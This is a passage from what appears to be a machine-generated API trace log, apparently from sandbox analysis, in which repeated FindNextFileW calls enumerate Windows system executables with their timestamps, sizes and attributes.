(in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad77102, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad77102, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad77102, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2ae00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="bcdboot.exe", cAlternateFileName="")) returned 1 [0164.359] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9716654b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9716654b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x973a19ef, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x54800, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="bcdedit.exe", cAlternateFileName="")) returned 1 [0164.359] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc17bc305, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc17bc305, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xda694920, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="BdeUISrv.exe", cAlternateFileName="")) returned 1 [0164.359] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc086969a, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc086969a, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xda72bf00, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="BdeUnlockWizard.exe", cAlternateFileName="")) returned 1 [0164.359] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868bb544, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x868bb544, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x868e16a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38c00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="bitsadmin.exe", cAlternateFileName="")) returned 1 [0164.359] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a941698, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x6a941698, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdaba2840, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="bootcfg.exe", cAlternateFileName="")) returned 1 [0164.359] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39e6d0c2, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x39e6d0c2, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xdacd3b10, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5200, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="bridgeunattend.exe", cAlternateFileName="")) returned 1 [0164.359] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa71185d, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xfa71185d, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdad1f600, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="bthudtask.exe", cAlternateFileName="")) returned 1 [0164.359] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdad1f600, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7a00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="cacls.exe", cAlternateFileName="")) returned 1 [0164.359] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3786a5f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xa3786a5f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdafa6590, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe0400, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="calc.exe", cAlternateFileName="")) returned 1 [0164.359] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa00af576, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xa00af576, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdb312d00, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="CertEnrollCtrl.exe", cAlternateFileName="")) returned 1 [0164.359] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d779bd5, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x9d779bd5, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdb4689c0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4fa00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="certreq.exe", cAlternateFileName="")) returned 1 [0164.359] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaba59ad6, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xaba59ad6, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdb99d9e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11f000, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="certutil.exe", cAlternateFileName="")) returned 1 [0164.359] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b5dd62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b5dd62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b83ec2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="change.exe", cAlternateFileName="")) returned 1 [0164.359] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x965e8982, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x965e8982, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdba376d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x28800, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="charmap.exe", cAlternateFileName="")) returned 1 [0164.359] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b83ec2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b83ec2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b83ec2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="chglogon.exe", cAlternateFileName="")) returned 1 [0164.360] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b83ec2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b83ec2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b83ec2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="chgport.exe", cAlternateFileName="")) returned 1 [0164.360] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b37c01, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b37c01, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b5dd62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="chgusr.exe", cAlternateFileName="")) returned 1 [0164.360] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc10dea0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="chkdsk.exe", cAlternateFileName="")) returned 1 [0164.360] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc134fa0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="chkntfs.exe", cAlternateFileName="")) returned 1 [0164.360] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93205b17, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93205b17, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9322bc77, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="choice.exe", cAlternateFileName="")) returned 1 [0164.360] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x318b7149, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x318b7149, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc23f170, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="cipher.exe", cAlternateFileName="")) returned 1 [0164.360] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbbfaf1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7cbbfaf1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdc2fd850, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x34c00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="cleanmgr.exe", cAlternateFileName="")) returned 1 [0164.360] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e5790, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xb7e5790, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xdc324950, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xc000, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="cliconfg.exe", cAlternateFileName="")) returned 1 [0164.360] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x391d06ff, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x391d06ff, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc349340, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7e00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="clip.exe", cAlternateFileName="")) returned 1 [0164.360] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8734b6f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8734b6f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87371858, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x54400, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="cmd.exe", cAlternateFileName="")) returned 1 [0164.360] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1030d73, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb1030d73, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdd3a6a80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="cmdkey.exe", cAlternateFileName="")) returned 1 [0164.360] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec55860, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x6ec55860, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xdd3cdb80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="cmdl32.exe", cAlternateFileName="")) returned 1 [0164.360] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d4445bb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x7d4445bb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xdd3f2570, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="cmmon32.exe", cAlternateFileName="")) returned 1 [0164.360] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8efab55c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8efab55c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8efab55c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16800, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="cmstp.exe", cAlternateFileName="")) returned 1 [0164.360] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ba021e4, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1ba021e4, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdd419670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="cofire.exe", cAlternateFileName="")) returned 1 [0164.360] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19fdc04, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x19fdc04, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xdd465160, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x15200, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="colorcpl.exe", cAlternateFileName="")) returned 1 [0164.360] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x316ee0ed, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x316ee0ed, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdd48c260, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="comp.exe", cAlternateFileName="")) returned 1 [0164.360] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdd4b0c50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="compact.exe", cAlternateFileName="")) returned 1 [0164.360] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7238b736, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x7238b736, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xeecd5140, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="CompMgmtLauncher.exe", cAlternateFileName="")) returned 1 [0164.360] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d7da9e, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x82d7da9e, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdd4b0c50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9200, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="ComputerDefaults.exe", cAlternateFileName="")) returned 1 [0164.360] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x853e749d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x853e749d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8547fa1f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x52800, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="conhost.exe", cAlternateFileName="")) returned 1 [0164.360] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ee548fa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ee548fa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ee548fa, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b580, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="consent.exe", cAlternateFileName="")) returned 1 [0164.360] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75044f6b, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x75044f6b, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdd67bc10, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="control.exe", cAlternateFileName="")) returned 1 [0164.360] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29ca404f, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x29ca404f, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdd6a0600, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="convert.exe", cAlternateFileName="")) returned 1 [0164.360] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eda12e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb0eda12e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xddacb450, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="credwiz.exe", cAlternateFileName="")) returned 1 [0164.360] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53727ed, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xd53727ed, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xddb62a30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x26200, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="cscript.exe", cAlternateFileName="")) returned 1 [0164.360] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b3e3e96, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x6b3e3e96, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xddb62a30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="csrss.exe", cAlternateFileName="")) returned 1 [0164.360] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c51c5ff, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x1c51c5ff, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xddbb0c30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="ctfmon.exe", cAlternateFileName="")) returned 1 [0164.360] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2191a4, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x8e2191a4, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xddc48210, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4ea00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="cttune.exe", cAlternateFileName="")) returned 1 [0164.360] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x895c7647, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x895c7647, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xddc6f310, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="cttunesvr.exe", cAlternateFileName="")) returned 1 [0164.360] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1385fc55, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x1385fc55, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xdde37bc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xd7400, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="dccw.exe", cAlternateFileName="")) returned 1 [0164.360] FindNextFileW (in: hFindFile=0x7e2ac8, 